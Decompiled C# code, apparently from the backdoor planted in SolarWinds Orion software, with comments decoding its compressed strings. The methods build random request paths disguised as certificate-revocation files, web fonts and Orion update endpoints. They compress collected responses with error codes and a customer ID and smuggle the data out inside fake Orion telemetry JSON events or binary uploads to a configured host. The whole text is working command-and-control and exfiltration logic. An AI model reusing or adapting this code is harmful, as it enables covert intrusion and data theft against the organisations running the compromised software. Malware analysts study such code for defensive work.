private string GetBaseUri(HttpHelper.HttpOipExMethods method, int err) { int num = (method != HttpHelper.HttpOipExMethods.Get && method != HttpHelper.HttpOipExMethods.Head) ? 1 : 16; string baseUriImpl; ulong hash; for (; ;) { baseUriImpl = this.GetBaseUriImpl(method, err); hash = Utilities.GetHash(baseUriImpl); if (!this.UriTimeStamps.Contains(hash)) { break; } if (--num <= 0) { return(baseUriImpl); } } this.UriTimeStamps.Add(hash); return(baseUriImpl); }
private string GetBaseUriImpl(HttpHelper.HttpOipExMethods method, int err) { string text = null; if (method == HttpHelper.HttpOipExMethods.Head) { text = ((ushort)err).ToString(); } if (this.requestMethod == HttpOipMethods.Post) { string[] array = new string[] { // -root ZipHelper.Unzip("0y3Kzy8BAA=="), // -cert ZipHelper.Unzip("001OLSoBAA=="), // -universal_ca ZipHelper.Unzip("0y3NyyxLLSpOzIlPTgQA"), // -ca ZipHelper.Unzip("001OBAA="), // -primary_ca ZipHelper.Unzip("0y0oysxNLKqMT04EAA=="), // -timestamp ZipHelper.Unzip("0y3JzE0tLknMLQAA"), "", // -global ZipHelper.Unzip("003PyU9KzAEA"), // -secureca ZipHelper.Unzip("0y1OTS4tSk1OBAA=") }; // pki/crl/{0}{1}{2}.crl return(string.Format(ZipHelper.Unzip("K8jO1E8uytGvNqitNqytNqrVA/IA"), this.random.Next(100, 10000), array[this.random.Next(array.Length)], (text == null) ? "" : ("-" + text))); } if (this.requestMethod == HttpOipMethods.Put) { string[] array2 = new string[] { // Bold ZipHelper.Unzip("c8rPSQEA"), // BoldItalic ZipHelper.Unzip("c8rPSfEsSczJTAYA"), // ExtraBold ZipHelper.Unzip("c60oKUp0ys9JAQA="), // ExtraBoldItalic ZipHelper.Unzip("c60oKUp0ys9J8SxJzMlMBgA="), // Italic ZipHelper.Unzip("8yxJzMlMBgA="), // Light ZipHelper.Unzip("88lMzygBAA=="), // LightItalic ZipHelper.Unzip("88lMzyjxLEnMyUwGAA=="), // Regular ZipHelper.Unzip("C0pNL81JLAIA"), // SemiBold ZipHelper.Unzip("C07NzXTKz0kBAA=="), // SemiBoldItalic ZipHelper.Unzip("C07NzXTKz0nxLEnMyUwGAA==") }; string[] array3 = new string[] { // opensans ZipHelper.Unzip("yy9IzStOzCsGAA=="), // noto ZipHelper.Unzip("y8svyQcA"), // freefont ZipHelper.Unzip("SytKTU3LzysBAA=="), // SourceCodePro ZipHelper.Unzip("C84vLUpOdc5PSQ0oygcA"), // SourceSerifPro ZipHelper.Unzip("C84vLUpODU4tykwLKMoHAA=="), // SourceHanSans ZipHelper.Unzip("C84vLUpO9UjMC07MKwYA"), // SourceHanSerif ZipHelper.Unzip("C84vLUpO9UjMC04tykwDAA==") }; int num = this.random.Next(array3.Length); if (num <= 1) { // fonts/woff/{0}-{1}-{2}-webfont{3}.woff2 return(string.Format(ZipHelper.Unzip("S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA"), new object[] { this.random.Next(100, 10000), array3[num], array2[this.random.Next(array2.Length)].ToLower(), text })); } // fonts/woff/{0}-{1}-{2}{3}.woff2 return(string.Format(ZipHelper.Unzip("S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA="), new object[] { this.random.Next(100, 10000), array3[num], array2[this.random.Next(array2.Length)], text })); } else { if (method <= HttpHelper.HttpOipExMethods.Head) { string text2 = ""; if (this.Valid(20)) { // SolarWinds text2 += ZipHelper.Unzip("C87PSSwKz8xLKQYA"); if (this.Valid(40)) { // .CortexPlugin text2 += ZipHelper.Unzip("03POLypJrQjIKU3PzAMA"); } } if (this.Valid(80)) { // .Orion text2 += ZipHelper.Unzip("0/MvyszPAwA="); } if (this.Valid(80)) { string[] array4 = new string[] { // Wireless ZipHelper.Unzip("C88sSs1JLS4GAA=="), // UI ZipHelper.Unzip("C/UEAA=="), // Widgets ZipHelper.Unzip("C89MSU8tKQYA"), // NPM ZipHelper.Unzip("8wvwBQA="), // Apollo ZipHelper.Unzip("cyzIz8nJBwA="), // CloudMonitoring ZipHelper.Unzip("c87JL03xzc/LLMkvysxLBwA=") }; text2 = text2 + "." + array4[this.random.Next(array4.Length)]; } if (this.Valid(30) || string.IsNullOrEmpty(text2)) { string[] array5 = new string[] { // Nodes ZipHelper.Unzip("88tPSS0GAA=="), // Volumes ZipHelper.Unzip("C8vPKc1NLQYA"), // Interfaces ZipHelper.Unzip("88wrSS1KS0xOLQYA"), // Components ZipHelper.Unzip("c87PLcjPS80rKQYA") }; text2 = text2 + "." + array5[this.random.Next(array5.Length)]; } if (this.Valid(30) || text != null) { text2 = string.Concat(new object[] { text2, "-", this.random.Next(1, 20), ".", this.random.Next(1, 30) }); if (text != null) { text2 = text2 + "." + ((ushort)err).ToString(); } } // swip/upd/ return(ZipHelper.Unzip("Ky7PLNAvLUjRBwA=") + text2.TrimStart(new char[] { '.' // .xml }) + ZipHelper.Unzip("06vIzQEA")); } if (method != HttpHelper.HttpOipExMethods.Put) { // swip/Upload.ashx return(ZipHelper.Unzip("Ky7PLNAPLcjJT0zRSyzOqAAA")); } // swip/Events return(ZipHelper.Unzip("Ky7PLNB3LUvNKykGAA==")); } }
private HttpStatusCode CreateUploadRequest(HttpHelper.JobEngine job, int err, string response, out byte[] outData) { string text = this.httpHost; byte[] array = null; HttpHelper.HttpOipExMethods httpOipExMethods = (job != HttpHelper.JobEngine.Idle && job != HttpHelper.JobEngine.None) ? HttpHelper.HttpOipExMethods.Head : HttpHelper.HttpOipExMethods.Get; outData = null; try { if (!string.IsNullOrEmpty(response)) { byte[] bytes = Encoding.UTF8.GetBytes(response); byte[] bytes2 = BitConverter.GetBytes(err); byte[] array2 = new byte[bytes.Length + bytes2.Length + this.customerId.Length]; Array.Copy(bytes, array2, bytes.Length); Array.Copy(bytes2, 0, array2, bytes.Length, bytes2.Length); Array.Copy(this.customerId, 0, array2, bytes.Length + bytes2.Length, this.customerId.Length); array = HttpHelper.Inflate(array2); httpOipExMethods = ((array.Length <= 10000) ? HttpHelper.HttpOipExMethods.Put : HttpHelper.HttpOipExMethods.Post); } if (!text.StartsWith(Uri.UriSchemeHttp + "://", StringComparison.OrdinalIgnoreCase) && !text.StartsWith(Uri.UriSchemeHttps + "://", StringComparison.OrdinalIgnoreCase)) { text = Uri.UriSchemeHttps + "://" + text; } if (!text.EndsWith("/")) { text += "/"; } text += this.GetBaseUri(httpOipExMethods, err); HttpWebRequest httpWebRequest = (HttpWebRequest)WebRequest.Create(text); if (httpOipExMethods == HttpHelper.HttpOipExMethods.Get || httpOipExMethods == HttpHelper.HttpOipExMethods.Head) { // If-None-Match httpWebRequest.Headers.Add(ZipHelper.Unzip("80zT9cvPS9X1TSxJzgAA"), this.GetCache()); } if (httpOipExMethods == HttpHelper.HttpOipExMethods.Put && (this.requestMethod == HttpOipMethods.Get || this.requestMethod == HttpOipMethods.Head)) { int[] intArray = this.GetIntArray((array != null) ? array.Length : 0); int num = 0; ulong num2 = (ulong)DateTime.UtcNow.Subtract(new DateTime(1970, 1, 1, 0, 0, 0, DateTimeKind.Utc)).TotalMilliseconds; num2 -= 300000UL; string text2 = "{"; // "userId":"{0}", text2 += string.Format(ZipHelper.Unzip("UyotTi3yTFGyUqo2qFXSAQA="), this.GetOrionImprovementCustomerId()); // "sessionId":"{0}", text2 += string.Format(ZipHelper.Unzip("UypOLS7OzM/zTFGyUqo2qFXSAQA="), this.sessionId.ToString().Trim(new char[] { '{', '}' })); // "steps":[ text2 += ZipHelper.Unzip("UyouSS0oVrKKBgA="); for (int i = 0; i < intArray.Length; i++) { uint num3 = (uint)((this.random.Next(4) == 0) ? this.random.Next(512) : 0); num2 += (ulong)num3; byte[] array3; if (intArray[i] > 0) { num2 |= 2UL; array3 = array.Skip(num).Take(intArray[i]).ToArray <byte>(); num += intArray[i]; } else { num2 &= 18446744073709551613UL; array3 = new byte[this.random.Next(16, 28)]; for (int j = 0; j < array3.Length; j++) { array3[j] = (byte)this.random.Next(); } } text2 += "{"; // "Timestamp":"\/Date({0})\/", text2 += string.Format(ZipHelper.Unzip("UwrJzE0tLknMLVCyUorRd0ksSdWoNqjVjNFX0gEA"), num2); string str = text2; // "Index":{0}, string format = ZipHelper.Unzip("U/LMS0mtULKqNqjVAQA="); int num4 = this.mIndex; this.mIndex = num4 + 1; text2 = str + string.Format(format, num4); // "EventType":"Orion", text2 += ZipHelper.Unzip("U3ItS80rCaksSFWyUvIvyszPU9IBAA=="); // "EventName":"EventManager", text2 += ZipHelper.Unzip("U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA=="); // "DurationMs":{0}, text2 += string.Format(ZipHelper.Unzip("U3IpLUosyczP8y1Wsqo2qNUBAA=="), num3); // "Succeeded":true, text2 += ZipHelper.Unzip("UwouTU5OTU1JTVGyKikqTdUBAA=="); // "Message":"{0}" text2 += string.Format(ZipHelper.Unzip("U/JNLS5OTE9VslKqNqhVAgA="), Convert.ToBase64String(array3).Replace("/", "\\/")); text2 += ((i + 1 != intArray.Length) ? "}," : "}"); } text2 += "]}"; // application/json httpWebRequest.ContentType = ZipHelper.Unzip("SywoyMlMTizJzM/TzyrOzwMA"); array = Encoding.UTF8.GetBytes(text2); } if (httpOipExMethods == HttpHelper.HttpOipExMethods.Post || this.requestMethod == HttpOipMethods.Put || this.requestMethod == HttpOipMethods.Post) { // application/octet-stream httpWebRequest.ContentType = ZipHelper.Unzip("SywoyMlMTizJzM/Tz08uSS3RLS4pSk3MBQA="); } return(this.CreateUploadRequestImpl(httpWebRequest, array, out outData)); } catch (Exception) { } return((HttpStatusCode)0); }